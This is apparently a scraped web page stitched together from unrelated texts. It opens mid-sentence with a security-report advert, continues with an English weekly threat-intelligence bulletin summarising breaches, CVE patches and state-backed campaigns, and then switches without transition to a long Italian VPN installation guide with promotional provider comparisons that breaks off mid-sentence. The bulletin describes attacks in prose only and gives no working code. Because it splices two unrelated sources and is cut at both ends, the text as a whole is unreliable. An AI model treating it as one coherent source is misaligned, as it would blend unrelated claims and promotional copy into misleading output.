IP cameras, DVRs/NVRs, Realtek chips, and routers from T-Mobile, Zyxel, D-Link, and Linksys. Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply. The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments. Get the report

For the latest discoveries in cyber research for the week of 25th August, please download our Threat Intelligence Bulletin. TOP ATTACKS AND BREACHES US pharmaceutical company Inotiv has experienced a ransomware attack that resulted in the unauthorized access and encryption of certain systems and data. The Qilin ransomware gang claimed responsibility and alleged the theft of approximately 162,000 files totaling 176GB. Check Point Threat Emulation and Harmony Endpoint provide protection against this threat (Ransomware.Wins.Qilin.*) Belgian telecommunications company Orange Belgium has experienced a cyber attack that resulted in the compromise of data from 850,000 customer accounts. Exposed information includes names, phone numbers, SIM card numbers and PUK codes. Australian Internet and mobile provider iiNet’s network has been breached in a cyber attack. Threat actors exfiltrated personal data of more than 200,000 customers of the company. According to reports, access was gained using an employee’s stolen credentials. The Business Council of New York State (BCNYS) has disclosed a data breach that resulted in the theft of personal, financial, and health information belonging to over 47,000 individuals from an attack that occurred in February. The compromised data includes full names, Social Security numbers, dates of birth, state identification numbers, financial and payment card information, taxpayer identification numbers, electronic signature information, and sensitive health records. Bragg Gaming Group has confirmed a cyber attack that resulted in a compromise of its internal IT systems. Though the company states no customer or personal identifiable data was accessed or leaked. The impact was reportedly limited, with no disruption to gaming services or loss of account access, and no financial or personal data exposure has been detected. DaVita, US healthcare company, has confirmed a cyber attack that occurred earlier this year, and resulted in the theft of sensitive personal and health information belonging to nearly 2.7 million individuals. The information includes names, addresses, dates of birth, social security numbers, health insurance details, treatment information, and dialysis lab test results. Data I/O, global hardware company, has suffered a ransomware attack that resulted in outages of critical operational systems, including those used for shipping, manufacturing, production, and support functions. The attack has substantially impacted the company’s business operations. Russian investment and analytics platform Investment Projects has suffered a cyber attack. The attack resulted in the platform being taken offline and the partial destruction of its infrastructure. The pro-Ukrainian hacker group, Cyber Anarchy Squad, claimed responsibility for the attack, saying that it had accessed internal databases and employee documents, and leaked stolen files. VULNERABILITIES AND PATCHES Apple issued a patch for a zero-day vulnerability (CVE-2025-43300) in Apple’s Image I/O framework affecting iOS, iPadOS, and macOS Sequoia, Sonoma, and Ventura. The vulnerability allows for an out-of-bounds write issue that may result in memory corruption or remote code execution. This flaw has been exploited in highly targeted, sophisticated attacks against specific individuals, and impacts a broad range of iPhone, iPad, and Mac models, both old and new. The vulnerability is triggered by processing malicious image files. Security researchers have discovered a high-severity buffer overflow vulnerability (tracked as CVE-2025-9363) in the portTriggerManageRule function of Linksys RE-series models. This high-severity, remotely exploitable vulnerability (CVSSv3 score: 8.8) allows attackers to overwrite the stack by manipulating the triggerRuleName or schedule parameters, and a proof-of-concept exploit has already been publicly disclosed. Google has released a security patch for Chrome that addresses the high severity vulnerability CVE-2025-9132, an out of bounds write issue which could be exploited remotely using crafted HTML pages. The vulnerability was discovered by Big Sleep, an AI agent developed by Google DeepMind. THREAT INTELLIGENCE REPORTS Security researchers have released a report detailing a series of coordinated campaigns attributed to UAC-0057 (aka GhostWriter). These campaigns delivered a weaponized XLS spreadsheets with obfuscated VBA macros targeting Ukraine and Poland in mid-2025. The infection chain exploited compressed archives containing decoy documents and leveraged MacroPack-obfuscated macros to drop and load highly specific first-stage DLL implants. Cisco have issued a report detailing activity of a Russia affiliated APT group Static Tundra. The group was observed exploiting seven-year-old vulnerability CVE-2018-0171 in Cisco IOS Smart Install to compromise unpatched and end-of-life network devices globally. The group employs techniques such as SYNful Knock firmware implants, targeting the telecom, education, and manufacturing sectors, specifically in Ukraine and its allies. Researchers detailed a campaign by North Korean APT group Kimsuky targeting embassies and diplomatic missions in South Korea and globally. The campaign used spear-phishing emails with contextual diplomatic lures to deliver XenoRAT via malicious LNK files and PowerShell scripts, leveraging GitHub and cloud platforms for command-and-control and data exfiltration. Researchers have uncovered a stealthy Linux malware delivery technique. This technique delivers a spam email containing a RAR archive whose filename embeds a Bash payload, triggering code execution when handled by unsanitized shell scripts or commands. The infection chain uses command injection in common scripting patterns to launch a Base64-encoded downloader, which fetches and silently executes a Go-based VShell backdoor.

Installare una VPN può sembrare complicato, ma in realtà è un processo abbastanza semplice, soprattutto se si utilizza un servizio VPN commerciale. Ecco una guida generale che aiuterà a capire i passaggi principali. Indice degli argomenti Una VPN, acronimo di Virtual Private Network, è una tecnologia che crea un “tunnel” crittografato tra il dispositivo dell’utente e un server remoto gestito dal provider VPN. Attraverso questo tunnel, tutti i dati vengono trasmessi in modo sicuro e protetto da occhi indiscreti, rendendo di fatto anonima la navigazione. La VPN maschera l’indirizzo IP reale dell’utente, sostituendolo con quello del server remoto a cui ci si connette, e consente di aggirare eventuali restrizioni territoriali imposte da piattaforme o governi. L’installazione di una VPN è consigliata in numerose situazioni: quando si vuole evitare il tracciamento da parte di inserzionisti e motori di ricerca, quando si lavora da remoto su reti pubbliche o aziendali sensibili, oppure per sbloccare contenuti digitali accessibili solo da specifiche aree geografiche. Navigando senza VPN l’indirizzo IP pubblico e molte informazioni sul comportamento online vengono registrate da siti web, provider di servizi internet (ISP), motori di ricerca e social network. La VPN impedisce che queste informazioni vengano raccolte, offrendo un maggiore livello di anonimato digitale. Nei Paesi con normative restrittive sulla libertà d’informazione, la VPN diventa uno strumento vitale per accedere a notizie, social media o comunicare in modo sicuro. Piattaforme come Netflix, Amazon Prime Video, BBC iPlayer o Hulu mostrano un catalogo diverso a seconda del Paese in cui ci si trova. Con una VPN è possibile simulare la connessione da un altro Stato e accedere a contenuti esclusivi non disponibili in Italia. Questo vale anche per eventi sportivi trasmessi in streaming, software disponibili solo in certi mercati, o servizi limitati da firewall aziendali o scolastici. I Wi-Fi pubblici presenti in bar, aeroporti o biblioteche non sono sicuri: chiunque sia connesso alla stessa rete potrebbe intercettare i dati trasmessi dagli altri utenti. Una VPN cripta completamente il traffico in entrata e in uscita dal dispositivo, proteggendo password, email, messaggi e transazioni bancarie da attacchi di tipo man-in-the-middle o sniffing. 1. Scegliere un servizio VPN Il primo passo è scegliere un provider VPN. Ci sono molti servizi disponibili, sia gratuiti che a pagamento. I servizi a pagamento offrono generalmente maggiore sicurezza, velocità e affidabilità. Quando si sceglie una VPN valutare: Affidabilità e sicurezza: Assicurarsi che sia una VPN con una solida politica di “no-log” (non registra le attività online) e che utilizzi protocolli di crittografia robusti. Velocità: Una buona VPN non dovrebbe rallentare in modo significativo la nostra connessione. Server disponibili: Un numero maggiore di server in diverse posizioni geografiche ci dà più opzioni per mascherare la nostra posizione. Prezzo: Confrontare i piani di abbonamento e scegliere quello più adatto alle nostre esigenze e al budget. 2. Iscriversi al servizio e scaricare l’app VPN Una volta scelto il provider, sottoscriviamo l’abbonamento e creiamo un account. Dopo aver completato l’iscrizione, avremo accesso alla nostra area utente da cui potremo scaricare il software o l’app del servizio per il nostro dispositivo (PC, Mac, smartphone, tablet, ecc.). 3. Installare l’applicazione VPN Su PC/MacOS: Scaricare il file di installazione (generalmente un file .exe per Windows o.dmg per macOS) e avviare il processo di installazione. Seguire le istruzioni sullo schermo, che di solito consistono nel cliccare su “Avanti” o “Installa” e accettare i termini di servizio. Su smartphone/tablet (Android/iOS): Andare su Google Play Store o all’App Store di Apple, cercare il nome del servizio VPN e scaricare l’app ufficiale. L’installazione è automatica. 4. Configurare e connettersi alla VPN Dopo l’installazione, aprire l’app VPN. Ci verrà chiesto di inserire le credenziali dell’account (nome utente e password) creati durante l’iscrizione. Una volta effettuato l’accesso, l’app ci mostrerà un elenco di server disponibili. A questo punto, possiamo: Scegliere un server specifico: Seleziona un paese o una città da cui vuoi far apparire la tua connessione. Usare la connessione rapida: Molte app offrono un’opzione “Connessione rapida” o “Server più veloce” che ti connette automaticamente al server più performante in base alla tua posizione. Clicca sul pulsante “Connetti” o “Accendi” e, dopo pochi istanti, la tua connessione sarà protetta dalla VPN. Metodi alternativi di installazione (più avanzati): Configurazione manuale: Alcuni sistemi operativi (come Windows, macOS, Android e iOS) permettono di configurare manualmente una VPN senza installare l’app del provider. Questo richiede l’inserimento di dati specifici forniti dal servizio VPN, come l’indirizzo del server, il tipo di protocollo e le credenziali. Installazione su router: Si può installare la VPN direttamente sul router. Questo è un processo più tecnico che richiede un router compatibile e una conoscenza specifica delle impostazioni di rete. La scelta della VPN giusta dipende da diversi fattori, tra cui le esigenze personali, il budget a disposizione, la compatibilità con i dispositivi in uso e il livello di sicurezza desiderato. Sul mercato esistono decine di servizi VPN, ognuno con caratteristiche diverse: alcuni puntano tutto sulla velocità, altri sulla privacy, altri ancora offrono funzionalità avanzate per lo streaming o il download peer-to-peer. Le VPN gratuite sono adatte per un utilizzo molto limitato e occasionale. Questi servizi offrono tipicamente una selezione ristretta di server (spesso sovraccarichi), una quantità di dati giornaliera limitata (es. 500 MB), e non sempre garantiscono protocolli di crittografia sicuri. Inoltre, alcuni provider gratuiti monetizzano raccogliendo e vendendo i dati degli utenti a terze parti. Le VPN a pagamento, invece, offrono maggiore affidabilità, una rete di server globale, politiche no-log certificate, supporto tecnico attivo 24/7, protocolli avanzati come OpenVPN, WireGuard o IKEv2, e funzionalità come lo split tunneling o il kill switch automatico in caso di caduta della connessione VPN. La velocità è fondamentale per chi utilizza la VPN per streaming HD, videoconferenze o download di file di grandi dimensioni. Alcune VPN offrono server ottimizzati per queste attività, con larghezza di banda illimitata. In termini di sicurezza, è importante che il provider usi crittografia AES-256, supporti protocolli sicuri e offra una politica “no-log” verificata da audit esterni. Infine, il numero e la distribuzione geografica dei server sono essenziali: più sono, maggiori sono le opzioni per simulare la connessione da vari Paesi e ottenere prestazioni ottimali. Di seguito tre soluzioni di VPN a pagamento utili per lo streaming con informazioni su caratteristiche, vantaggi, svantaggi e indicazioni sui piani. 🌍 Server: 7.000+ server in 118 paesi 📱 Massimo dispositivi: 10 📍 IP dedicato: ✔ 🆓 Versione Free: Garanzia rimborso di 30 giorni 💻 Compatibilità: Windows, macOS, Android, iOS 🔐 Sicurezza: IKEv2/IPsec, OpenVPN, NordLynx 👨💻 Assistenza 24/7: ✔ 🏢 Sede legale: Panama 🔥 Offerte attive: SCONTO fino al 63% NordVPN mette a disposizione una delle reti più estese al mondo, con oltre 7.000 server distribuiti in circa 120 paesi. Tra questi figurano server ottimizzati per il traffico P2P, accesso diretto alla rete Tor, doppia cifratura per una protezione multilivello e IP dedicati. La VPN utilizza protocolli all’avanguardia come NordLynx (derivato da WireGuard), OpenVPN e IKEv2/IPsec, a cui si è recentemente aggiunto NordWhisper: un nuovo protocollo capace di camuffare il traffico VPN da normale traffico HTTPS, utile per superare firewall e restrizioni di rete. La sicurezza si basa su cifratura AES-256 o ChaCha20 e su una rigorosa politica no-log, confermata da audit indipendenti, con l’ulteriore garanzia offerta da server RAM-only che eliminano ogni dato a ogni riavvio. L’offerta di NordVPN si basa su diversi pacchetti di abbonamento, che variano per durata (2 anni, 1 anno, 1 mese) e per i servizi inclusi. L’obiettivo principale è fornire un pacchetto di sicurezza online completo, che va oltre la semplice VPN. Tutti i piani includono una garanzia di rimborso di 30 giorni. I tre piani principali sono: Base: Include la VPN di base, sicura e veloce. Plus: Aggiunge alla VPN di base una serie di funzionalità per la protezione avanzata: un sistema anti-malware, un blocco per pubblicità e tracker, e un password manager con mascheramento dell’email. Ultimate: È il pacchetto più completo. Include tutto ciò che è presente nel piano Plus, aggiungendo un terabyte di spazio di archiviazione cloud criptato e un’assicurazione cyber che offre una copertura fino a 5000 € per perdite dovute a truffe informatiche e furto d’identità. iani di 2 anni iani di 1 anno NordVPN piani di 1 mese 🌍 Server: 3200+ in 100 paesi 📱 Massimo dispositivi: illimitati 🆓 Versione Free: Garanzia rimborso di 30 giorni 💻 Compatibilità: Windows, macOS, Android, iOS 🔐 Sicurezza: OpenVPN, IKEv2, Shadowsocks, Wireguard e L2TP 👨💻 Assistenza 24/7: ✔ 🏢 Sede legale: Paesi Bassi 🔥 Offerte attive: SCONTO fino all’83% + 3 mesi gratis 🔥 Surfshark è oggi una delle VPN più apprezzate per chi cerca un equilibrio tra prestazioni, sicurezza e accessibilità economica. La sua rete si compone di oltre 3.200 server distribuiti in più di 100 paesi, progettata per garantire connessioni rapide e affidabili. Il traffico dati viene protetto attraverso una crittografia AES 256 di livello militare, supportata dai protocolli più avanzati come WireGuard, OpenVPN e IKEv2. L’interfaccia delle applicazioni è particolarmente intuitiva, rendendo l’esperienza d’uso semplice su tutte le piattaforme: Windows, macOS, Linux, Android, iOS e anche tramite estensioni browser per Chrome, Firefox ed Edge. Sul fronte delle funzionalità, Surfshark si presenta con un pacchetto ricco e pensato per utenti attenti alla sicurezza. Sono inclusi strumenti come il kill switch automatico, la modalità MultiHop che instrada il traffico attraverso due server VPN concatenati, e l’obfuscation per rendere invisibile il traffico VPN ai sistemi di ispezione più rigidi. Il Bypasser, ovvero la funzione di split tunneling, consente di escludere app o siti specifici dalla protezione VPN. Altri strumenti includono la rotazione automatica degli indirizzi IP, il GPS spoofing per simulare la posizione geografica, e CleanWeb, una protezione DNS che blocca pubblicità, tracker e malware già a livello di rete. Un grande punto di forza è l’assenza di limiti sul numero di dispositivi connessi contemporaneamente: una caratteristica rara tra le VPN premium. Surfshark offre tre diversi pacchetti, Starter, One e One+ ognuno con funzionalità aggiuntive. La differenza di prezzo tra i pacchetti riflette i servizi inclusi oltre alla semplice VPN. Ecco una tabella comparativa per conoscere cosa si ottiene con ogni piano. Il pacchetto Starter è l’opzione base di Surfshark. È ideale per chi cerca una soluzione semplice ed efficace per la privacy online senza fronzoli aggiuntivi. Cosa include: VPN completa e sicura: È la funzionalità principale: permette di nascondere l’indirizzo IP, crittografare la connessione e accedere a contenuti bloccati geograficamente. Dispositivi illimitati: Si può installare e utilizzare la VPN su un numero illimitato di dispositivi (PC, smartphone, tablet, smart TV, ecc.) con un unico abbonamento. Blocco annunci e tracker (CleanWeb): Questa funzionalità integrata blocca pubblicità, pop-up e tracker, migliorando la velocità di navigazione e la privacy. Posizioni dei server: Accesso a oltre 3200 server in 100 paesi. Politica di no-log verificata: Surfshark ha una politica rigorosa per non registrare le attività online, verificata da audit indipendenti. Per chi è consigliato Surfshark: Utenti che cercano una VPN di alta qualità a un prezzo accessibile. Persone che vogliono proteggere la propria navigazione su Wi-Fi pubblici e sbloccare contenuti geo-limitati. Chiunque voglia un livello base di protezione da annunci e tracker online. Il pacchetto One è un’evoluzione del pacchetto Starter. Oltre alla VPN, include una serie di strumenti di sicurezza aggiuntivi per una protezione più completa. Cosa include: Tutte le funzionalità del pacchetto Starter. Antivirus: Una protezione per i dispositivi contro virus, malware e tentativi di phishing. Alternative ID: Questa funzione ti permette di creare un’identità online e un’email “usa e getta” per proteggere i dati personali da spam e furti d’identità. Monitoraggio del dark web (Alert): Avvisa se le credenziali personali (come indirizzi email o password) sono trapelate in una violazione di dati. Surfshark Search: Un motore di ricerca privato che non traccia le ricerche e non mostra pubblicità. Per chi è consigliato: Utenti che vogliono una protezione completa per i loro dispositivi, non solo la VPN. Chi è preoccupato per il furto d’identità e vuole essere avvisato in caso di violazioni dei dati. Persone che cercano un’alternativa sicura ai motori di ricerca tradizionali. Il pacchetto One+ è l’offerta più completa e premium di Surfshark. Include tutte le funzionalità dei pacchetti Starter e One, con l’aggiunta del servizio Incogni per la rimozione dei dati personali. Cosa include: Tutte le funzionalità del pacchetto Starter e del pacchetto One. Rimozione dei dati personali (Incogni): Questo è il servizio distintivo del pacchetto One+. Surfshark si occupa per te di contattare i data broker (aziende che raccolgono e vendono dati personali) per richiedere la rimozione delle informazioni dai loro database. Per chi è consigliato: Utenti che desiderano la massima protezione e privacy online. Persone particolarmente attente alla propria impronta digitale e che vogliono eliminare i propri dati personali dal web. Chi cerca una soluzione all-in-one che non solo protegga attivamente ma agisca anche per rimuovere i dati già presenti online 🌍 Server: 3000 server in 105 paesi 📱 Massimo dispositivi: 8 🆓 Versione Free: Garanzia rimborso di 30 giorni 💻 Compatibilità: Windows, macOS, Android, iOS, Linux 🔐 Sicurezza: IKEv2, OpenVPN 👨💻 Assistenza 24/7: ✔ 🏢 Sede legale: Isole Vergini Britanniche 🔥 Offerte attive: SCONTO fino al 49% + 3 mesi GRATIS ExpressVPN è una delle VPN più conosciute sul mercato, e propone tre pacchetti Base, Avanzato e Pro in abbonamento della durata di 2 anni (+ 4 mesi gratis), 12 mesi (+ 3 mesi gratis) e 1 mese. L’elemento principale da considerare è che tutti i piani, indipendentemente dalla durata, includono le funzionalità essenziali di una VPN: Connessioni sicure e veloci: Utilizzo del protocollo proprietario Lightway. Crittografia avanzata: Per navigare in sicurezza, anche su Wi-Fi pubblici. Politica “zero-log”: Non viene registrata nessuna tua attività online. Accesso a server globali: In 105 paesi, per superare restrizioni geografiche e accedere a contenuti internazionali. Compatibilità estesa: Funziona su tutti i principali sistemi operativi e browser. Garanzia di rimborso: 30 giorni per provare il servizio senza rischi (per i nuovi utenti). La differenza principale tra i vari piani risiede nelle funzionalità aggiuntive che offrono e nel numero di dispositivi che si possono contemporaneamente. Questo è il piano più economico. Offre tutte le funzionalità essenziali della VPN per proteggere la privacy e accedere ai contenuti globali. È l’opzione perfetta se si ha bisogno solo delle funzioni base e si vogliono collegare fino a 10 dispositivi contemporaneamente. Questo piano è il più popolare e offre un ottimo equilibrio tra prezzo e funzionalità. Include tutto ciò che è nel piano Base più una serie di strumenti di sicurezza aggiuntivi come la protezione avanzata contro pubblicità, tracker e siti dannosi, e un gestore di password. Offre anche un piccolo bonus con una eSIM da 3 GB. Il piano Pro è l’opzione più completa e costosa, pensata per chi ha bisogno di un livello di protezione e flessibilità ancora maggiore. Oltre a tutte le funzioni dei piani precedenti, aggiunge la possibilità di collegare fino a 14 dispositivi e, soprattutto, include un IP dedicato, che può essere utile per alcune attività online specifiche. Lo sconto su Aircove (il router VPN dell’azienda) è il più alto, ed è inclusa anche una eSIM più grande da 5 GB. Per installare una VPN su un computer con sistema operativo Windows bisogna innanzitutto scegliere un provider compatibile con Windows 10 o 11. Una volta individuato il servizio è necessario accedere al sito ufficiale, effettuare la registrazione e procedere con il download del software. I principali fornitori offrono pacchetti di installazione in formato .exe, facili da gestire anche per utenti poco esperti. Dopo aver scaricato il file è sufficiente fare doppio clic per avviare il processo di installazione. Windows potrebbe mostrare una finestra di controllo dell’account utente per autorizzare le modifiche al sistema: è necessario concedere il permesso per procedere. L’installazione guidata propone in genere alcune opzioni come la scelta della cartella di destinazione o l’aggiunta di collegamenti rapidi. Una volta completata l’installazione il programma sarà disponibile nel menu Start e, nella maggior parte dei casi, si avvierà automaticamente. All’apertura dell’applicazione VPN verrà richiesto di effettuare l’accesso con le credenziali registrate in precedenza. Dopo l’autenticazione si potrà accedere all’interfaccia utente del client dove è possibile selezionare il server a cui connettersi. I server sono solitamente organizzati per Paese o per tipo di utilizzo (streaming, download, giochi online). Scegliendo il server più adatto alle proprie esigenze, sarà sufficiente cliccare su “Connetti” o su un pulsante equivalente per avviare la connessione sicura. Una volta connessi la VPN sostituirà l’indirizzo IP reale dell’utente con quello del server remoto criptando tutto il traffico in entrata e in uscita dal dispositivo. L’interfaccia del client indicherà lo stato della connessione, spesso accompagnata da un’icona nella barra delle applicazioni, visibile accanto all’orologio di sistema. Per disconnettersi, basterà riaprire il client e cliccare su “Disconnetti”. In caso di problemi durante la connessione il software include di solito strumenti di diagnostica e suggerimenti automatici. Se la VPN non riesce a stabilire la connessione è consigliabile provare a cambiare server, modificare il protocollo (passando ad esempio da OpenVPN a WireGuard), riavviare il PC o disattivare temporaneamente l’antivirus o il firewall di terze parti che potrebbero interferire. Alcuni provider offrono anche un’opzione “kill switch” per bloccare tutto il traffico di rete se la connessione VPN cade improvvisamente, garantendo così la protezione continua dei dati. Per scaricare e installare il software client di una VPN su un computer Windows è innanzitutto necessario accedere al sito ufficiale del provider VPN scelto facendo attenzione a non utilizzare link promozionali o fonti non attendibili per evitare software contraffatti o potenzialmente dannosi. Una volta giunti sulla pagina dedicata ai download è sufficiente selezionare la versione adatta al sistema operativo in uso: in questo caso, Windows. I provider più affidabili riconoscono automaticamente il sistema operativo e propongono il file corretto, generalmente con estensione .exe. Cliccando sul pulsante di download il file viene salvato nella cartella predefinita del browser, in genere “Download”. Terminato il download è necessario fare doppio clic sul file per avviare l’installazione guidata. Il sistema operativo mostrerà una finestra di dialogo per autorizzare le modifiche: l’utente deve confermare per permettere al programma di installarsi. La procedura guidata include alcuni passaggi standard come l’accettazione dei termini di servizio, la scelta della cartella di installazione e, in alcuni casi, la possibilità di selezionare componenti aggiuntivi o impostazioni avanzate. Durante l’installazione il client può scaricare file secondari o aggiornamenti necessari al corretto funzionamento. Una volta completata l’installazione l’icona dell’app comparirà nel menu Start e potrà essere avviata immediatamente. Alcuni provider configurano il client per partire automaticamente all’accensione del computer e offrono un primo avvio guidato utile per chi è alle prime armi. Da quel momento il software sarà pronto per essere utilizzato: basterà accedere con le proprie credenziali per connettersi in modo sicuro a un server VPN e proteggere il proprio traffico online. Una volta installato il software client della VPN sul tuo computer Windows il passo successivo consiste nella configurazione iniziale e nella connessione a un server. All’apertura dell’applicazione ti verrà generalmente richiesto di accedere utilizzando le credenziali del tuo account, ovvero l’email e la password create al momento della registrazione sul sito del provider VPN. Dopo l’autenticazione l’interfaccia principale del client si presenterà con una mappa interattiva o con un elenco di server suddivisi per Paese, regione o utilizzo consigliato. A questo punto si potrà scegliere il server a cui connettersi in base alle esigenze specifiche. Se si desidera aumentare la velocità di navigazione o minimizzare la latenza, conviene selezionare un server geograficamente vicino alla propria posizione attuale. Se invece si intende accedere a contenuti geo-bloccati in un altro Paese, come un catalogo di Netflix estero o un sito di news internazionale, si dovrà selezionare un server situato in quel Paese. Una volta selezionato il server è sufficiente cliccare sul pulsante “Connetti” o “Connect” presente nell’interfaccia del client. Il software stabilirà automaticamente il tunnel crittografato e, in pochi secondi, mostrerà lo stato della connessione attiva. Alcuni client forniscono anche informazioni aggiuntive, come il nuovo indirizzo IP assegnato, il protocollo in uso (WireGuard, OpenVPN, IKEv2, ecc.), la durata della sessione e la velocità di trasferimento dati in tempo reale. Durante l’utilizzo, la connessione VPN resta attiva in background e protegge tutte le attività di rete. Si può cambiare server in qualsiasi momento semplicemente interrompendo la connessione attuale e selezionandone uno nuovo. Al termine della sessione, basterà cliccare su “Disconnetti” per tornare alla connessione diretta. In alcuni software, si possono anche salvare i server preferiti, impostare la connessione automatica all’avvio del sistema o attivare funzionalità avanzate come il kill switch e lo split tunneling, che permettono di instradare solo parte del traffico attraverso la VPN. Quando si utilizza una VPN su Windows può capitare che la connessione non si stabilisca correttamente o che risulti instabile. Risolvere questi problemi comuni richiede un approccio graduale a partire dalla verifica degli elementi di base. Innanzitutto, è importante assicurarsi che la connessione a Internet funzioni regolarmente anche senza VPN: una rete debole, instabile o assente impedisce alla VPN di operare correttamente. Se la connessione Internet è attiva, il problema potrebbe riguardare il server selezionato. Alcuni server VPN possono essere temporaneamente offline o congestionati, specialmente durante le ore di punta, ed è quindi consigliabile provare a connettersi a un server diverso, magari più vicino geograficamente. Un altro aspetto da controllare è il protocollo VPN in uso. Molti client permettono di scegliere tra protocolli differenti come WireGuard, OpenVPN (nelle varianti UDP o TCP), IKEv2 o altri ancora. Se la connessione fallisce con un protocollo, modificarlo dalle impostazioni del client può risolvere il problema. Ad esempio, passare da UDP a TCP migliora la stabilità in reti soggette a filtraggio aggressivo. In alcuni contesti, soprattutto in reti aziendali o universitarie, l’amministratore di rete potrebbe bloccare alcuni protocolli o porte usate dalla VPN. In questi casi, l’attivazione della modalità “offuscata” (obfuscated mode) offerta da alcuni provider aiuta a bypassare i filtri e a ristabilire la connessione. Anche firewall e antivirus possono interferire con il corretto funzionamento della VPN. Se il client VPN non riesce a stabilire la connessione, potrebbe essere utile disattivare temporaneamente queste protezioni o aggiungere un’eccezione per il software VPN. Allo stesso modo, eventuali estensioni del browser o software di sicurezza di terze parti possono bloccare il traffico VPN: rimuoverli o disattivarli momentaneamente permette di isolare il problema. Un’altra causa possibile è l’obsolescenza del client stesso. È fondamentale assicurarsi di avere sempre installata la versione più recente del software VPN, poiché gli aggiornamenti risolvono spesso problemi di compatibilità e migliorano la stabilità della connessione. In situazioni più complesse, come disconnessioni continue o velocità estremamente basse, si può tentare un riavvio completo del sistema e del modem/router. Inoltre, controllare se il proprio provider Internet applica politiche di throttling o blocco delle VPN può essere utile: in tali casi, conviene contattare l’assistenza tecnica del provider VPN, che potrà consigliare impostazioni alternative o fornire server dedicati con protezioni anti-blocco. Installare una VPN su macOS è un processo relativamente semplice e alla portata di qualunque utente, anche senza particolari competenze tecniche. Il primo passaggio consiste nello scegliere un provider VPN affidabile, registrarsi al servizio e scaricare il client dedicato per macOS direttamente dal sito ufficiale. È fondamentale evitare fonti non ufficiali o versioni piratate del software, per non compromettere la sicurezza del proprio dispositivo. Una volta scaricato il file in formato .dmg, è sufficiente fare doppio clic su di esso per aprire l’immagine disco. All’interno si troverà l’icona del client VPN che dovrà essere trascinata nella cartella “Applicazioni”, come indicato dal sistema operativo. Questo passaggio installa l’applicazione nella posizione corretta e la rende accessibile tramite Launchpad o Spotlight. Dopo aver completato l’installazione, si può avviare l’app VPN direttamente da Applicazioni. Al primo avvio, macOS richiederà di autorizzare l’esecuzione del software, poiché proviene da uno sviluppatore esterno: sarà necessario confermare l’operazione, eventualmente inserendo la password dell’amministratore del sistema. Una volta aperta, l’applicazione richiederà le credenziali di accesso al servizio VPN, cioè l’email e la password create in fase di registrazione. A login effettuato, verrà mostrata l’interfaccia del client, solitamente dotata di una mappa o di un elenco di server VPN organizzati per area geografica o per tipo di utilizzo, come streaming, sicurezza o download. La connessione a un server VPN avviene con un semplice clic su “Connect” o sul tasto equivalente. Il software avvierà il collegamento e, in pochi secondi, stabilirà un tunnel crittografato che proteggerà tutto il traffico di rete in uscita e in entrata dal Mac. Durante la connessione, comparirà una notifica di sistema che segnala l’attivazione della VPN, visibile anche nella barra del menu in alto, da cui sarà possibile gestire la connessione in modo rapido. Alcune applicazioni richiedono di installare un profilo VPN o un’estensione di rete per completare la configurazione: in questo caso, macOS mostrerà un avviso e sarà sufficiente autorizzare l’installazione. Molti client VPN per Mac offrono funzionalità avanzate, come il kill switch, che disconnette automaticamente Internet in caso di caduta della VPN, o lo split tunneling, che consente di scegliere quali applicazioni devono utilizzare la connessione protetta. Queste opzioni sono accessibili dal menu impostazioni del client, spesso accompagnate da strumenti di diagnostica o da suggerimenti automatici in caso di problemi di connessione. Al termine dell’utilizzo, è possibile disconnettersi direttamente dal client o dalla barra dei menu, e la connessione tornerà immediatamente a essere quella del provider Internet standard. Installare una VPN su un dispositivo Android è un’operazione diretta e accessibile che può essere completata in pochi minuti anche da utenti senza esperienza tecnica. Il primo passo consiste nello scegliere un provider VPN affidabile, preferibilmente tra quelli che offrono un’app ufficiale compatibile con le ultime versioni di Android. Una volta scelto il servizio, è necessario aprire il Google Play Store, digitare il nome del provider VPN nella barra di ricerca e verificare che l’applicazione individuata sia quella ufficiale, riconoscibile dal nome del produttore e dalle recensioni degli utenti. Dopo aver identificato l’app corretta, si può procedere con il download e l’installazione toccando il pulsante “Installa”. Il sistema operativo avvierà automaticamente il processo, che richiede pochi istanti. Al termine dell’installazione, l’icona dell’app comparirà nel drawer delle applicazioni e sarà possibile avviarla con un semplice tocco. Al primo avvio, l’app VPN richiederà di accedere con le credenziali dell’account creato in fase di registrazione sul sito del provider. Una volta effettuato il login, verrà presentata l’interfaccia principale, che può variare da provider a provider, ma solitamente include un tasto centrale per connettersi rapidamente e una lista di server disponibili organizzata per Paese o per tipo di utilizzo. Toccando il tasto “Connetti” o selezionando un server specifico dall’elenco, l’app richiederà l’autorizzazione a creare una connessione VPN. Android mostrerà un avviso di sicurezza in cui l’utente dovrà acconsentire esplicitamente affinché l’app possa controllare il traffico di rete. Una volta autorizzata, la connessione verrà stabilita e un’icona a forma di chiave comparirà nella barra superiore del telefono, indicando che tutto il traffico internet sta passando attraverso il tunnel crittografato della VPN. Da questo momento ogni attività online sul dispositivo sarà protetta, comprese la navigazione web, l’uso di app di messaggistica, le transazioni bancarie o gli accessi a reti aziendali. L’app offre spesso funzionalità aggiuntive come la connessione automatica su reti Wi-Fi pubbliche, la selezione intelligente del server più veloce o opzioni per escludere alcune app dalla connessione VPN tramite lo split tunneling. La disconnessione può essere effettuata direttamente dall’app o abbassando la tendina delle notifiche, dove sarà presente il controllo rapido della VPN. Installare una VPN su un dispositivo iOS, come iPhone o iPad, è un processo lineare e ben integrato con l’ecosistema Apple. Il primo passo consiste nel selezionare un servizio VPN affidabile e compatibile con iOS, quindi accedere all’App Store direttamente dal dispositivo. All’interno dello store digitale, è necessario digitare il nome del provider VPN scelto nella barra di ricerca e selezionare l’app ufficiale, facendo attenzione a controllare il nome dello sviluppatore e la valutazione dell’app per garantirsi di scaricare la versione autentica. Una volta individuata l’applicazione corretta, si può procedere al download toccando il pulsante “Ottieni” o l’icona della nuvola con la freccia, se si tratta di un’app già scaricata in passato. Il sistema potrebbe richiedere l’autenticazione tramite Face ID, Touch ID o password dell’Apple ID. Completato il download, l’app apparirà sulla schermata principale e potrà essere aperta toccando l’icona corrispondente. All’apertura dell’app, verrà chiesto di effettuare il login con le credenziali del proprio account VPN. In alternativa, se non si dispone ancora di un account, molti provider permettono di crearne uno direttamente all’interno dell’app, attraverso una procedura guidata che include la registrazione tramite email e la scelta di un piano tariffario, spesso con periodo di prova gratuito. Una volta effettuato l’accesso, verrà mostrata l’interfaccia principale, solitamente molto intuitiva, con un pulsante centrale per avviare la connessione e un elenco di server da cui scegliere. Quando si tenta di connettersi per la prima volta, l’app richiederà di installare un profilo VPN sul dispositivo. iOS mostrerà una finestra di sistema che chiederà l’autorizzazione per configurare le impostazioni 